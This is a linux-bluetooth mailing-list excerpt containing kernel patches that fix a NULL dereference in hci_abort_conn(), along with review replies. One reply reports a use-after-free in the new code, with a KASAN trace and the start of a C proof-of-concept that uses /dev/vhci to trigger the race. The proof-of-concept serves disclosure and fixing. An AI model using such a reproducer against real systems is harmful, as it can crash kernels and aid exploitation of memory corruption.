> --- a/net/bluetooth/hci_conn.c
> +++ b/net/bluetooth/hci_conn.c
> @@ -3181,26 +3181,11 @@ int hci_abort_conn(struct hci_conn *conn, u8 reason)
>
>         conn->abort_reason = reason;
>
> -       /* If the connection is pending check the command opcode since that
> -        * might be blocking on hci_cmd_sync_work while waiting its respective
> -        * event so we need to hci_cmd_sync_cancel to cancel it.
> -        *
> -        * hci_connect_le serializes the connection attempts so only one
> -        * connection can be in BT_CONNECT at time.
> +       /* Cancel the connect attempt. A return of 0 means the create command
> +        * was still queued and got dequeued, so there is nothing to disconnect.
>          */
> -       if (conn->state == BT_CONNECT && READ_ONCE(hdev->req_status) == HCI_REQ_PEND) {
> -               switch (hci_skb_event(hdev->sent_cmd)) {
> -               case HCI_EV_CONN_COMPLETE:
> -               case HCI_EV_LE_CONN_COMPLETE:
> -               case HCI_EV_LE_ENHANCED_CONN_COMPLETE:
> -               case HCI_EVT_LE_CIS_ESTABLISHED:
> -                       hci_cmd_sync_cancel(hdev, ECANCELED);
> -                       break;
> -               }
> -       /* Cancel connect attempt if still queued/pending */
> -       } else if (!hci_cancel_connect_sync(hdev, conn)) {
> +       if (!hci_cancel_connect_sync(hdev, conn))
>                 return 0;
> -       }
>
>         /* Run immediately if on cmd_sync_work since this may be called
>          * as a result to MGMT_OP_DISCONNECT/MGMT_OP_UNPAIR which does
> diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
> index df23245d6ccd..06b87e9cd999 100644
> --- a/net/bluetooth/hci_sync.c
> +++ b/net/bluetooth/hci_sync.c
> @@ -6611,6 +6611,11 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>
>         bt_dev_dbg(hdev, "conn %p", conn);
>
> +       /* Hold a reference so conn stays valid for the HCI_CONN_CREATE
> +        * clear_bit() at done.
> +        */
> +       hci_conn_get(conn);
> +
>         clear_bit(HCI_CONN_SCANNING, &conn->flags);
>         conn->state = BT_CONNECT;
>
> @@ -6623,6 +6628,7 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>                     hdev->le_scan_type == LE_SCAN_ACTIVE &&
>                     !hci_dev_test_flag(hdev, HCI_LE_SIMULTANEOUS_ROLES)) {
>                         hci_conn_del(conn);
> +                       hci_conn_put(conn);
>                         return -EBUSY;
>                 }
>
> @@ -6668,6 +6674,12 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>                                              &own_addr_type);
>         if (err)
>                 goto done;
> +
> +       /* Mark create connection in flight so hci_cancel_connect_sync() can
> +        * cancel it while blocking on the connection complete event.
> +        */
> +       set_bit(HCI_CONN_CREATE, &conn->flags);
> +
>         /* Send command LE Extended Create Connection if supported */
>         if (use_ext_conn(hdev)) {
>                 err = hci_le_ext_create_conn_sync(hdev, conn, own_addr_type);
> @@ -6703,11 +6715,14 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>                                        conn->conn_timeout, NULL);
>
>  done:
> +       clear_bit(HCI_CONN_CREATE, &conn->flags);
> +
>         if (err == -ETIMEDOUT)
>                 hci_le_connect_cancel_sync(hdev, conn, 0x00);
>
>         /* Re-enable advertising after the connection attempt is finished. */
>         hci_resume_advertising_sync(hdev);
> +       hci_conn_put(conn);
>         return err;
>  }
>
> @@ -6982,10 +6997,25 @@ static int hci_acl_create_conn_sync(struct hci_dev *hdev, void *data)
>         else
>                 cp.role_switch = 0x00;
>
> -       return __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
> -                                       sizeof(cp), &cp,
> -                                       HCI_EV_CONN_COMPLETE,
> -                                       conn->conn_timeout, NULL);
> +       /* Hold a reference so conn stays valid for the HCI_CONN_CREATE
> +        * clear_bit() below.
> +        */
> +       hci_conn_get(conn);
> +
> +       /* Mark create connection in flight so hci_cancel_connect_sync() can
> +        * cancel it while blocking on the connection complete event.
> +        */
> +       set_bit(HCI_CONN_CREATE, &conn->flags);
> +
> +       err = __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
> +                                      sizeof(cp), &cp,
> +                                      HCI_EV_CONN_COMPLETE,
> +                                      conn->conn_timeout, NULL);
> +
> +       clear_bit(HCI_CONN_CREATE, &conn->flags);
> +       hci_conn_put(conn);
> +
> +       return err;
>  }
>
>  int hci_connect_acl_sync(struct hci_dev *hdev, struct hci_conn *conn)
> @@ -7039,20 +7069,62 @@ int hci_connect_le_sync(struct hci_dev *hdev, struct hci_conn *conn)
>
>  int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
>  {
> -       if (conn->state != BT_OPEN)
> -               return -EINVAL;
> +       struct hci_cmd_sync_work_entry *entry;
> +       hci_cmd_sync_work_func_t func = NULL;
> +       hci_cmd_sync_work_destroy_t destroy = NULL;
> +       int create_flag = -1;
> +       int err = -EBUSY;
>
>         switch (conn->type) {
>         case ACL_LINK:
> -               return !hci_cmd_sync_dequeue_once(hdev,
> -                                                 hci_acl_create_conn_sync,
> -                                                 conn, NULL);
> +               func = hci_acl_create_conn_sync;
> +               create_flag = HCI_CONN_CREATE;
> +               break;
>         case LE_LINK:
> -               return !hci_cmd_sync_dequeue_once(hdev, hci_le_create_conn_sync,
> -                                                 conn, create_le_conn_complete);
> +               func = hci_le_create_conn_sync;
> +               destroy = create_le_conn_complete;
> +               create_flag = HCI_CONN_CREATE;
> +               break;
> +       case CIS_LINK:
> +               /* LE Create CIS is shared by the whole CIG and cannot be
> +                * dequeued per-connection; only cancel it in-flight below.
> +                */
> +               create_flag = HCI_CONN_CREATE_CIS;

Instead of doing everything in the same function, it probably makes
more sense to add dedicated functions for each type, for example,
`hci_acl_cancel_create_conn_sync`, etc.

> +               break;
> +       default:
> +               return -ENOENT;
>         }
>
> -       return -ENOENT;
> +       /* The create command is either still queued or in flight. Hold
> +        * cmd_sync_work_lock across the test and the cancel: the worker takes
> +        * this lock to dequeue every entry, so while it is held no other command
> +        * can become pending, which keeps hci_cmd_sync_cancel() from racing with
> +        * completion and cancelling an unrelated command.
> +        */
> +       mutex_lock(&hdev->cmd_sync_work_lock);
> +
> +       /* The flag is set while the worker blocks on the connection complete
> +        * event, so if it is set this connection owns the pending request.
> +        */
> +       if (create_flag >= 0 && test_bit(create_flag, &conn->flags)) {
> +               hci_cmd_sync_cancel(hdev, ECANCELED);
> +               goto unlock;
> +       }
> +
> +       /* Otherwise it may still be queued; dequeue it. A successful dequeue
> +        * means it never started, so there is nothing to disconnect.
> +        */
> +       if (func) {
> +               entry = _hci_cmd_sync_lookup_entry(hdev, func, conn, destroy);
> +               if (entry) {
> +                       _hci_cmd_sync_cancel_entry(hdev, entry, -ECANCELED);
> +                       err = 0;
> +               }
> +       }
> +
> +unlock:
> +       mutex_unlock(&hdev->cmd_sync_work_lock);
> +       return err;
>  }
>
>  int hci_le_conn_update_sync(struct hci_dev *hdev, struct hci_conn *conn,
> --
> 2.54.0
>


-- 
Luiz Augusto von Dentz

^ permalink raw reply

* Re: [PATCH BlueZ v3 1/2] shared/bap: Initialize ucast/bcast IDs as unset
From: Luiz Augusto von Dentz @ 2026-06-15 14:05 UTC (permalink / raw)
  To: Simon Mikuda; +Cc: linux-bluetooth
In-Reply-To: <20260614105016.1147112-1-simon.mikuda@streamunlimited.com>

Hi Simon,

On Sun, Jun 14, 2026 at 6:50 AM Simon Mikuda
<simon.mikuda@streamunlimited.com> wrote:
>
> Also change some lines where CIS should be used instead of CIG
> ---
>  src/shared/bap.c | 13 +++++++++++++
>  unit/test-bap.c  |  4 ++--
>  2 files changed, 15 insertions(+), 2 deletions(-)
>
> diff --git a/src/shared/bap.c b/src/shared/bap.c
> index deb85b264..e8fbf0899 100644
> --- a/src/shared/bap.c
> +++ b/src/shared/bap.c
> @@ -2902,6 +2902,19 @@ static struct bt_bap_stream *bap_stream_new(struct bt_bap *bap,
>         stream->ops = bap_stream_new_ops(stream);
>         stream->pending_states = queue_new();
>
> +       switch (bt_bap_pac_get_type(lpac)) {
> +       case BT_BAP_SINK:
> +       case BT_BAP_SOURCE:
> +               stream->qos.ucast.cig_id = BT_ISO_QOS_CIG_UNSET;
> +               stream->qos.ucast.cis_id = BT_ISO_QOS_CIS_UNSET;
> +               break;
> +       case BT_BAP_BCAST_SOURCE:
> +       case BT_BAP_BCAST_SINK:
> +               stream->qos.bcast.big = BT_ISO_QOS_BIG_UNSET;
> +               stream->qos.bcast.bis = BT_ISO_QOS_BIS_UNSET;
> +               break;
> +       }
> +
>         queue_push_tail(bap->streams, stream);
>
>         return bt_bap_stream_ref(stream);
> diff --git a/unit/test-bap.c b/unit/test-bap.c
> index 03b19678e..4ac9a207c 100644
> --- a/unit/test-bap.c
> +++ b/unit/test-bap.c
> @@ -9894,7 +9894,7 @@ static int streaming_ucl_create_io(struct bt_bap_stream *stream,
>
>         i = qos[0] ? qos[0]->ucast.cis_id : qos[1]->ucast.cis_id;
>
> -       if (i == BT_ISO_QOS_CIG_UNSET) {
> +       if (i == BT_ISO_QOS_CIS_UNSET) {
>                 for (i = 0; i < ARRAY_SIZE(data->fds); ++i) {
>                         if (data->fds[i][0] > 0)
>                                 continue;
> @@ -10000,7 +10000,7 @@ static void test_select_cb(struct bt_bap_pac *pac, int err,
>
>         if (!data->cfg->streams) {
>                 qos->ucast.cig_id = BT_ISO_QOS_CIG_UNSET;
> -               qos->ucast.cis_id = BT_ISO_QOS_CIG_UNSET;
> +               qos->ucast.cis_id = BT_ISO_QOS_CIS_UNSET;
>         } else {
>                 /* All streams to separate CIS.
>                  *

This fixes to test-bap should be in a separate patch.

-- 
Luiz Augusto von Dentz

^ permalink raw reply

* [PATCH v5 2/2] Bluetooth: hci_sync: Remove unused hci_cmd_sync_dequeue_once()
From: Siwei Zhang @ 2026-06-15 13:10 UTC (permalink / raw)
  To: Luiz Augusto von Dentz, Pauli Virtanen, XIAO WU
  Cc: linux-bluetooth, Siwei Zhang
In-Reply-To: <20260615131131.1459372-1-oss@fourdim.xyz>

hci_cmd_sync_dequeue_once() had a single in-tree caller,
hci_cancel_connect_sync(), which now holds cmd_sync_work_lock across the
in-flight create flag test and the dequeue and so open-codes the lookup
and cancel under that lock. That leaves the exported
hci_cmd_sync_dequeue_once() with no in-tree user, so remove it along with
its declaration.

Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
---
 include/net/bluetooth/hci_sync.h |  3 ---
 net/bluetooth/hci_sync.c         | 26 --------------------------
 2 files changed, 29 deletions(-)

diff --git a/include/net/bluetooth/hci_sync.h b/include/net/bluetooth/hci_sync.h
index 73e494b2591d..818e62d9fe9e 100644
--- a/include/net/bluetooth/hci_sync.h
+++ b/include/net/bluetooth/hci_sync.h
@@ -84,9 +84,6 @@ void hci_cmd_sync_cancel_entry(struct hci_dev *hdev,
 			       struct hci_cmd_sync_work_entry *entry);
 bool hci_cmd_sync_dequeue(struct hci_dev *hdev, hci_cmd_sync_work_func_t func,
 			  void *data, hci_cmd_sync_work_destroy_t destroy);
-bool hci_cmd_sync_dequeue_once(struct hci_dev *hdev,
-			      hci_cmd_sync_work_func_t func, void *data,
-			      hci_cmd_sync_work_destroy_t destroy);
 
 int hci_update_eir_sync(struct hci_dev *hdev);
 int hci_update_class_sync(struct hci_dev *hdev);
diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
index 06b87e9cd999..7410c640d4ff 100644
--- a/net/bluetooth/hci_sync.c
+++ b/net/bluetooth/hci_sync.c
@@ -860,32 +860,6 @@ void hci_cmd_sync_cancel_entry(struct hci_dev *hdev,
 }
 EXPORT_SYMBOL(hci_cmd_sync_cancel_entry);
 
-/* Dequeue one HCI command entry:
- *
- * - Lookup and cancel first entry that matches.
- */
-bool hci_cmd_sync_dequeue_once(struct hci_dev *hdev,
-			       hci_cmd_sync_work_func_t func,
-			       void *data, hci_cmd_sync_work_destroy_t destroy)
-{
-	struct hci_cmd_sync_work_entry *entry;
-
-	mutex_lock(&hdev->cmd_sync_work_lock);
-
-	entry = _hci_cmd_sync_lookup_entry(hdev, func, data, destroy);
-	if (!entry) {
-		mutex_unlock(&hdev->cmd_sync_work_lock);
-		return false;
-	}
-
-	_hci_cmd_sync_cancel_entry(hdev, entry, -ECANCELED);
-
-	mutex_unlock(&hdev->cmd_sync_work_lock);
-
-	return true;
-}
-EXPORT_SYMBOL(hci_cmd_sync_dequeue_once);
-
 /* Dequeue HCI command entry:
  *
  * - Lookup and cancel any entry that matches by function callback or data or
-- 
2.54.0


^ permalink raw reply related

* [PATCH v5 1/2] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
From: Siwei Zhang @ 2026-06-15 13:10 UTC (permalink / raw)
  To: Luiz Augusto von Dentz, Pauli Virtanen, XIAO WU
  Cc: linux-bluetooth, Siwei Zhang

hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection
was pending, but hdev->sent_cmd can be NULL while req_status is still
HCI_REQ_PEND, leading to a NULL pointer dereference and a general
protection fault from the hci_rx_work() receive path.

Instead of inspecting hdev->sent_cmd, track the in-flight create
connection command with a new per-connection HCI_CONN_CREATE flag and
route all cancellation through hci_cancel_connect_sync(). The create
command is in exactly one of two states: still queued, or in flight.
hci_cancel_connect_sync() holds cmd_sync_work_lock across the whole
decision: the worker takes this lock to dequeue every entry, so while it
is held a queued command cannot start running and an in-flight command
cannot complete and let the next command become pending. This keeps the
flag test and hci_cmd_sync_cancel() atomic with respect to the worker,
so a queued command is simply dequeued, and an in-flight command owned
by this connection is cancelled without the risk of cancelling an
unrelated command that became pending in the meantime. CIS uses the same
path via the existing HCI_CONN_CREATE_CIS flag.

hci_acl_create_conn_sync() and hci_le_create_conn_sync() clear
HCI_CONN_CREATE after the create command completes, but the command
status handler can free conn via hci_conn_del() (for example when the
controller rejects the connection) while the worker is still blocked on
the connection complete event. Hold a reference on conn across the
create command so the flag can be cleared without a use-after-free.

Fixes: a13f316e90fd ("Bluetooth: hci_conn: Consolidate code for aborting connections")
Cc: stable@vger.kernel.org
Suggested-by: XIAO WU <xiaowu.417@qq.com>
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
---
 include/net/bluetooth/hci_core.h |  1 +
 net/bluetooth/hci_conn.c         | 21 +------
 net/bluetooth/hci_sync.c         | 96 ++++++++++++++++++++++++++++----
 3 files changed, 88 insertions(+), 30 deletions(-)

diff --git a/include/net/bluetooth/hci_core.h b/include/net/bluetooth/hci_core.h
index aa600fbf9a53..aa554c34f9ec 100644
--- a/include/net/bluetooth/hci_core.h
+++ b/include/net/bluetooth/hci_core.h
@@ -988,6 +988,7 @@ enum {
 	HCI_CONN_AUTH_FAILURE,
 	HCI_CONN_PER_ADV,
 	HCI_CONN_BIG_CREATED,
+	HCI_CONN_CREATE,
 	HCI_CONN_CREATE_CIS,
 	HCI_CONN_CREATE_BIG_SYNC,
 	HCI_CONN_BIG_SYNC,
diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
index 54eabaa46960..eba4a548bef5 100644
--- a/net/bluetooth/hci_conn.c
+++ b/net/bluetooth/hci_conn.c
@@ -3181,26 +3181,11 @@ int hci_abort_conn(struct hci_conn *conn, u8 reason)
 
 	conn->abort_reason = reason;
 
-	/* If the connection is pending check the command opcode since that
-	 * might be blocking on hci_cmd_sync_work while waiting its respective
-	 * event so we need to hci_cmd_sync_cancel to cancel it.
-	 *
-	 * hci_connect_le serializes the connection attempts so only one
-	 * connection can be in BT_CONNECT at time.
+	/* Cancel the connect attempt. A return of 0 means the create command
+	 * was still queued and got dequeued, so there is nothing to disconnect.
 	 */
-	if (conn->state == BT_CONNECT && READ_ONCE(hdev->req_status) == HCI_REQ_PEND) {
-		switch (hci_skb_event(hdev->sent_cmd)) {
-		case HCI_EV_CONN_COMPLETE:
-		case HCI_EV_LE_CONN_COMPLETE:
-		case HCI_EV_LE_ENHANCED_CONN_COMPLETE:
-		case HCI_EVT_LE_CIS_ESTABLISHED:
-			hci_cmd_sync_cancel(hdev, ECANCELED);
-			break;
-		}
-	/* Cancel connect attempt if still queued/pending */
-	} else if (!hci_cancel_connect_sync(hdev, conn)) {
+	if (!hci_cancel_connect_sync(hdev, conn))
 		return 0;
-	}
 
 	/* Run immediately if on cmd_sync_work since this may be called
 	 * as a result to MGMT_OP_DISCONNECT/MGMT_OP_UNPAIR which does
diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
index df23245d6ccd..06b87e9cd999 100644
--- a/net/bluetooth/hci_sync.c
+++ b/net/bluetooth/hci_sync.c
@@ -6611,6 +6611,11 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
 
 	bt_dev_dbg(hdev, "conn %p", conn);
 
+	/* Hold a reference so conn stays valid for the HCI_CONN_CREATE
+	 * clear_bit() at done.
+	 */
+	hci_conn_get(conn);
+
 	clear_bit(HCI_CONN_SCANNING, &conn->flags);
 	conn->state = BT_CONNECT;
 
@@ -6623,6 +6628,7 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
 		    hdev->le_scan_type == LE_SCAN_ACTIVE &&
 		    !hci_dev_test_flag(hdev, HCI_LE_SIMULTANEOUS_ROLES)) {
 			hci_conn_del(conn);
+			hci_conn_put(conn);
 			return -EBUSY;
 		}
 
@@ -6668,6 +6674,12 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
 					     &own_addr_type);
 	if (err)
 		goto done;
+
+	/* Mark create connection in flight so hci_cancel_connect_sync() can
+	 * cancel it while blocking on the connection complete event.
+	 */
+	set_bit(HCI_CONN_CREATE, &conn->flags);
+
 	/* Send command LE Extended Create Connection if supported */
 	if (use_ext_conn(hdev)) {
 		err = hci_le_ext_create_conn_sync(hdev, conn, own_addr_type);
@@ -6703,11 +6715,14 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
 				       conn->conn_timeout, NULL);
 
 done:
+	clear_bit(HCI_CONN_CREATE, &conn->flags);
+
 	if (err == -ETIMEDOUT)
 		hci_le_connect_cancel_sync(hdev, conn, 0x00);
 
 	/* Re-enable advertising after the connection attempt is finished. */
 	hci_resume_advertising_sync(hdev);
+	hci_conn_put(conn);
 	return err;
 }
 
@@ -6982,10 +6997,25 @@ static int hci_acl_create_conn_sync(struct hci_dev *hdev, void *data)
 	else
 		cp.role_switch = 0x00;
 
-	return __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
-					sizeof(cp), &cp,
-					HCI_EV_CONN_COMPLETE,
-					conn->conn_timeout, NULL);
+	/* Hold a reference so conn stays valid for the HCI_CONN_CREATE
+	 * clear_bit() below.
+	 */
+	hci_conn_get(conn);
+
+	/* Mark create connection in flight so hci_cancel_connect_sync() can
+	 * cancel it while blocking on the connection complete event.
+	 */
+	set_bit(HCI_CONN_CREATE, &conn->flags);
+
+	err = __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
+				       sizeof(cp), &cp,
+				       HCI_EV_CONN_COMPLETE,
+				       conn->conn_timeout, NULL);
+
+	clear_bit(HCI_CONN_CREATE, &conn->flags);
+	hci_conn_put(conn);
+
+	return err;
 }
 
 int hci_connect_acl_sync(struct hci_dev *hdev, struct hci_conn *conn)
@@ -7039,20 +7069,62 @@ int hci_connect_le_sync(struct hci_dev *hdev, struct hci_conn *conn)
 
 int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
 {
-	if (conn->state != BT_OPEN)
-		return -EINVAL;
+	struct hci_cmd_sync_work_entry *entry;
+	hci_cmd_sync_work_func_t func = NULL;
+	hci_cmd_sync_work_destroy_t destroy = NULL;
+	int create_flag = -1;
+	int err = -EBUSY;
 
 	switch (conn->type) {
 	case ACL_LINK:
-		return !hci_cmd_sync_dequeue_once(hdev,
-						  hci_acl_create_conn_sync,
-						  conn, NULL);
+		func = hci_acl_create_conn_sync;
+		create_flag = HCI_CONN_CREATE;
+		break;
 	case LE_LINK:
-		return !hci_cmd_sync_dequeue_once(hdev, hci_le_create_conn_sync,
-						  conn, create_le_conn_complete);
+		func = hci_le_create_conn_sync;
+		destroy = create_le_conn_complete;
+		create_flag = HCI_CONN_CREATE;
+		break;
+	case CIS_LINK:
+		/* LE Create CIS is shared by the whole CIG and cannot be
+		 * dequeued per-connection; only cancel it in-flight below.
+		 */
+		create_flag = HCI_CONN_CREATE_CIS;
+		break;
+	default:
+		return -ENOENT;
 	}
 
-	return -ENOENT;
+	/* The create command is either still queued or in flight. Hold
+	 * cmd_sync_work_lock across the test and the cancel: the worker takes
+	 * this lock to dequeue every entry, so while it is held no other command
+	 * can become pending, which keeps hci_cmd_sync_cancel() from racing with
+	 * completion and cancelling an unrelated command.
+	 */
+	mutex_lock(&hdev->cmd_sync_work_lock);
+
+	/* The flag is set while the worker blocks on the connection complete
+	 * event, so if it is set this connection owns the pending request.
+	 */
+	if (create_flag >= 0 && test_bit(create_flag, &conn->flags)) {
+		hci_cmd_sync_cancel(hdev, ECANCELED);
+		goto unlock;
+	}
+
+	/* Otherwise it may still be queued; dequeue it. A successful dequeue
+	 * means it never started, so there is nothing to disconnect.
+	 */
+	if (func) {
+		entry = _hci_cmd_sync_lookup_entry(hdev, func, conn, destroy);
+		if (entry) {
+			_hci_cmd_sync_cancel_entry(hdev, entry, -ECANCELED);
+			err = 0;
+		}
+	}
+
+unlock:
+	mutex_unlock(&hdev->cmd_sync_work_lock);
+	return err;
 }
 
 int hci_le_conn_update_sync(struct hci_dev *hdev, struct hci_conn *conn,
-- 
2.54.0


^ permalink raw reply related

* Re: [PATCH v5 5/9] block: implement NVMEM provider
From: Bartosz Golaszewski @ 2026-06-15 13:06 UTC (permalink / raw)
  To: Loic Poulain
  Cc: Bartosz Golaszewski, linux-mmc, devicetree, linux-kernel,
	linux-arm-msm, linux-block, linux-wireless, ath10k,
	linux-bluetooth, netdev, daniel, Ulf Hansson, Rob Herring,
	Krzysztof Kozlowski, Conor Dooley, Bjorn Andersson, Konrad Dybcio,
	Jens Axboe, Johannes Berg, Jeff Johnson, Marcel Holtmann,
	Luiz Augusto von Dentz, Balakrishna Godavarthi, Rocky Liao,
	David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
	Simon Horman, Srinivas Kandagatla, Andrew Lunn, Heiner Kallweit,
	Russell King, Saravana Kannan
In-Reply-To: <CAFEp6-0oxBEdfH-fqhdM18pt4JewLwrMOON9qpQgLFh8KS0hDg@mail.gmail.com>

On Mon, 15 Jun 2026 11:33:22 +0200, Loic Poulain
<loic.poulain@oss.qualcomm.com> said:
> On Mon, Jun 15, 2026 at 11:28 AM Loic Poulain
> <loic.poulain@oss.qualcomm.com> wrote:
>>
>
> Also we cannot safely return -EPROBE_DEFER from add_disk_final()
> either. The NVMEM registration point is late in the sequence, too much
> has already happened to easily unwind. The easiest is that the NVMEM
> simply won't be available if registration fails, which looks
> acceptable?
>

I'd argue that it's a problem with subsystem code then as unwinding should
work fine no matter the point in the sequence when it's initiated but I guess
this isn't really an issue in your patches.

I suppose we shouldn't typically run into probe deferral here so I'm fine just
ignoring the return value.

Bart

^ permalink raw reply

* Re: [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
From: XIAO WU @ 2026-06-15 12:45 UTC (permalink / raw)
  To: Siwei Zhang, Luiz Augusto von Dentz; +Cc: linux-bluetooth
In-Reply-To: <bed30255-ccf4-4f84-a19d-557bd8bdeeb0@app.fastmail.com>

Hi Siwei,

Thanks for your reply and I’m glad my feedback was helpful. You 
definitely have my permission to add the "Suggested-by" tag.


Best,
XIAO WU

在 15/6/26 下午8:38, Siwei Zhang 写道:
> Hi Xiao Wu,
> 
> On Sat, Jun 13, 2026, at 6:40 AM, XIAO WU wrote:
>> Hi Siwei,
>>
>> On Thu, 11 Jun 2026 11:19:52 -0400, Siwei Zhang wrote:
>>   > Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
>>
>> This patch correctly fixes the NULL dereference in hci_abort_conn() by
>> tracking in-flight create commands with HCI_CONN_CREATE.
>>
>> I noticed a Sashiko review[1] of this patch flagged that the new
>> clear_bit(HCI_CONN_CREATE, &conn->flags) calls after
>> __hci_cmd_sync_status_sk() introduce a use-after-free.  I wrote a PoC
>> to verify this and was able to trigger it reliably on a KASAN-enabled
>> kernel.
>>
>> The race:
>>
>>     If the controller rejects the ACL connection attempt (e.g. via
>>     Command Status with a non-zero status), the RX thread processes the
>>     rejection in hci_cs_create_conn() → hci_conn_del(), freeing the
>>     hci_conn object.  Shortly after, __hci_cmd_sync_status_sk() returns
>>     the error to hci_acl_create_conn_sync() on the hci_cmd_sync_work
>>     worker, which then writes to the freed conn via clear_bit().
>>
>> My PoC opens /dev/vhci, creates a virtual controller that responds to
>> HCI_OP_CREATE_CONN with Command Status error 0x2e, powers on the
>> controller, and triggers an L2CAP connect.  This reliably hits:
>>
>> ==================================================================
>> BUG: KASAN: slab-use-after-free in hci_acl_create_conn_sync+0x3c6/0x600
>> Write of size 8 at addr ffff88802eed2950 by task kworker/u11:0/57
>> Workqueue: hci0 hci_cmd_sync_work
>>
>> Call Trace:
>>    <TASK>
>>    dump_stack_lvl+0x116/0x1f0
>>    print_report+0xf4/0x600
>>    kasan_report+0xe0/0x110
>>    kasan_check_range+0x100/0x1b0
>>    hci_acl_create_conn_sync+0x3c6/0x600    <-- clear_bit on freed conn
>>    hci_cmd_sync_work+0x1b0/0x480
>>    process_one_work+0xa20/0x1c50
>>    worker_thread+0x6df/0xf30
>>    kthread+0x387/0x4a0
>>
>> Allocated by task 9349 (L2CAP connect):
>>    __hci_conn_add+0xfd/0x1df0
>>    hci_conn_add_unset+0x7b/0x130
>>    hci_connect_acl+0x4aa/0x7c0
>>    l2cap_chan_connect+0x779/0x2160
>>    l2cap_sock_connect+0x381/0x7a0
>>
>> Freed by task 9353 (RX thread):
>>    kfree+0x171/0x720
>>    device_release+0xd7/0x280
>>    hci_conn_del_sysfs+0x17b/0x1a0
>>    hci_conn_del+0x685/0x11d0
>>    hci_cs_create_conn+0x1e9/0x430     <-- controller rejection
>>    hci_cmd_status_evt+0x267/0x790
>>    hci_event_packet+0x521/0xce0
>>    hci_rx_work+0x2ce/0x1030
>> ==================================================================
>>
>> The race window:
>>
>>     hci_acl_create_conn_sync()           hci_rx_work()
>>     ==========================           ==============
>>     __hci_cmd_sync_status_sk(...)        hci_cs_create_conn()
>>       → waiting for controller reply       → hci_conn_del()
>>                                            → kfree(conn)
>>     clear_bit(HCI_CONN_CREATE,
>>       &conn->flags);  ← UAF
>>
>> The same pattern exists in hci_le_create_conn_sync().
>>
>> One possible fix: take a reference on conn before the cmd_sync call
>> and drop it after clear_bit(), or move the clear_bit to a point where
>> the conn is still guaranteed to be alive.  The Sashiko review[1]
>> points out a few other issues in the same patch as well.
>>
>> I wrote the following PoC.  It opens /dev/vhci, emulates a controller
>> that rejects CREATE_CONN, powers up via MGMT, and triggers an L2CAP
>> connect to exercise the race.
>>
>> ---8<--- poc.c ---
>> /*
>>    * PoC for UAF in hci_acl_create_conn_sync()
>>    *
>>    * Opens /dev/vhci, creates a virtual HCI controller that responds to
>>    * HCI_OP_CREATE_CONN with Command Status 0x2e
>> (HCI_ERROR_COMMAND_DISALLOWED).
>>    * The RX thread processes this via hci_cs_create_conn() and frees the
>> conn,
>>    * while the hci_cmd_sync_work worker then hits the UAF in clear_bit().
>>    *
>>    * Build:  gcc -Wall -O2 -o poc poc.c -lpthread
>>    * Run:    ./poc   (root, KASAN-enabled kernel, vhci loaded)
>>    */
>> #define _GNU_SOURCE
>> #include <stdio.h>
>> #include <stdlib.h>
>> #include <string.h>
>> #include <unistd.h>
>> #include <fcntl.h>
>> #include <errno.h>
>> #include <sys/socket.h>
>> #include <sys/poll.h>
>> #include <pthread.h>
>> #include <stdint.h>
>>
>> #define HCI_COMMAND_PKT 0x01
>> #define HCI_EVENT_PKT    0x04
>> #define HCI_VENDOR_PKT   0xff
>> #define HCI_EV_CMD_COMPLETE 0x0e
>> #define HCI_EV_CMD_STATUS   0x0f
>> #define HCI_OP_CREATE_CONN  0x0405
>> #define HCI_OP_RESET        0x0c03
>> #define BTPROTO_L2CAP   0
>> #define BTPROTO_HCI     1
>> #define BDADDR_BREDR    0x00
>> #define HCI_CHANNEL_CONTROL 3
>>
>> struct sockaddr_l2 {
>>       uint16_t l2_family, l2_psm;
>>       uint8_t  l2_bdaddr[6];
>>       uint16_t l2_cid;
>>       uint8_t  l2_bdaddr_type;
>> } __attribute__((packed));
>>
>> struct sockaddr_hci {
>>       uint16_t hci_family, hci_dev, hci_channel;
>> };
>>
>> static volatile int vhci_fd = -1;
>> static volatile int saw_conn = 0;
>>
>> static int send_evt(uint8_t e, const void *d, uint8_t dl)
>> {
>>       uint8_t b[512];
>>       b[0] = HCI_EVENT_PKT; b[1] = e; b[2] = dl;
>>       if (dl && d) memcpy(b + 3, d, dl);
>>       return write(vhci_fd, b, 3 + dl);
>> }
>>
>> static int read_cmd(uint16_t *o, uint8_t *p, int *pl, int tmo)
>> {
>>       uint8_t b[8192];
>>       struct pollfd pf = {.fd = vhci_fd, .events = POLLIN};
>>       int r = poll(&pf, 1, tmo);
>>       if (r <= 0) return -1;
>>       r = read(vhci_fd, b, sizeof(b));
>>       if (r < 4 || b[0] != HCI_COMMAND_PKT) return -1;
>>       *o = b[1] | (b[2] << 8); *pl = b[3];
>>       if (p && *pl) memcpy(p, b + 4, (*pl < r - 4) ? *pl : r - 4);
>>       return 1;
>> }
>>
>> static void send_ok(uint16_t o) { uint8_t r[1] = {0};
>> send_evt(HCI_EV_CMD_COMPLETE, r, 1); }
>> static void send_cc(uint16_t o, const void *rd, uint8_t rl) {
>> send_evt(HCI_EV_CMD_COMPLETE, rd, rl); }
